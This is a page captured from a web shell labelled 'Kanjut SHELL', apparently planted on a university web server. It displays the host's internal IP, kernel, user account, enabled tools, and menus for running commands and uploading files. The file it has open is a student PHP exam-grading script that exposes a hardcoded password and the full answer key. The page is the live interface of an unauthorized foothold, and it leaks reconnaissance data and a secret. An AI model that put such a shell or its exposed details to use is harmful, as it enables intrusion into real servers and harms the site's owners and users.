Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.129.67.248
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vahigginbotham/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vahigginbotham/www/action4a2.php
<?php	session_start();
	$pass = $_SESSION['password'];
	$_SESSION['password'] = $pass;
	if($pass != "hw4b")
		print "Go Away. <BR>";
	else
	{
?>

<BODY>
<FONT size=5>
<CENTER>
Web Exam Result
<p>
</FONT>
<FONT size=4 color=blue>
<?php
        $answer=$_POST['question'];
	$percent = 0;
        if($answer=="31")
	{
                print "<br> Question 1: You are right!";
        	$percent = $percent + 25;
	}
	else
                print "<br> Question 1: Wrong!";

	$answer=$_POST['question1'];
        if($answer=="30")
	{
                print "<br> Question 2: You are right!";
        	$percent = $percent + 25;
	}
	else
                print "<br> Question 2: Wrong!";

	$answer=$_POST['question2'];
        if($answer=="1961")
	{
                print "<br> Question 3: You are right!";
        	$percent = $percent + 25;
	}
	else
                print "<br> Question 3: Wrong!";

	$answer=$_POST['question3'];
        if($answer=="swoosh")
	{
                print "<br> Question 4: You are right!";
        	$percent = $percent + 25;
	}
	else
                print "<br> Question 4: Wrong!";

	print "<br> you received $percent %"; 
?>
</FONT>
<P>
<HR>
</CENTER>
<A HREF=index.html> Back Home </A> <p>
</BODY>
<?php
}
?>
</form>

Stv3n404 - 2023